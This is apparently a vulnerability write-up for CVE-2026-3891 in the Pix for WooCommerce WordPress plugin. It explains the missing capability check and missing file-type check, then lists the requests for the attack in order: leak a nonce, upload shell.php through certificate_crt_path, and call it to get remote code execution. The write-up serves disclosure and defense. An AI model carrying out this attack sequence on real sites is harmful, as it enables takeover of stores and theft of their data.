CVE-2026-3891 — Pix for WooCommerce Unauthenticated File Upload RCE

Nonce Leak → certificate_crt_path Upload → Code Execution


Overview

CVE-2026-3891 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin (by linknacional) versions ≤ 1.5.0.

The lkn_pix_for_woocommerce_c6_save_settings AJAX handler has:

  1. No capability check — any unauthenticated visitor can call it
  • No file type validation — any file extension is accepted via the certificate_crt_path parameter
  • A valid nonce is freely obtainable via the lkn_pix_for_woocommerce_generate_nonce endpoint without authentication
  • Uploaded files land in the web-accessible directory /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.

    Vulnerability Mechanism

    Root Cause

    root@kitploit:~
    // Nonce generated without auth
    add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
    
    // Upload handler — no capability check, no file type validation
    add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
    function c6_save_settings() {
        // No current_user_can() check
        // No wp_check_filetype() call
        move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
    }
    

    Attack Flow

    root@kitploit:~
    1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
       → Get valid nonce (no auth needed)
    2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
       → Upload shell.php via certificate_crt_path field
    3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
       → RCE
